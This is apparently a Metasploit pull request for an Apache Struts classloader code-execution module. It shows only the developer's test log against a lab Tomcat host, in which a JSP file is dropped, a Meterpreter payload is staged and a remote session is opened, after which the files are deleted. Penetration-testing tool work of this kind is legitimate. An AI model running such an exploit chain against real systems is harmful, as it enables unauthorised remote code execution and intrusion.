rapid7/metasploit-framework — pull request #3314 by julianvilas (2014-04-29 02:00:08+00:00)
Title: Redsadic strutsrce

Tested on Ubuntu 12.04 x86 with Tomcat 8.0.5 and Java 7, using targets "linux" and "java".

msf exploit(struts_code_exec_classloader) > rerun
[*] Reloading module...

[*] 172.16.218.152:8080 - Modifying class loader
[*] Started bind handler
[*] 172.16.218.152:8080 - created file at http://172.16.218.152:8080/WgcrY0.jsp
[*] 172.16.218.152:8080 - Waiting 10 seconds...
[*] 172.16.218.152:8080 - Accessing http://172.16.218.152:8080/WgcrY0.jsp
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1228800 bytes) to 172.16.218.152
[*] Meterpreter session 4 opened (172.16.218.1:65064 -> 172.16.218.152:4444) at 2014-04-29 03:46:39 +0200
[+] Deleted 6ZqRUs
[+] Deleted WgcrY0.jsp

meterpreter > quit
[*] Shutting down Meterpreter...

[*] 172.16.218.152 - Meterpreter session 4 closed. Reason: User exit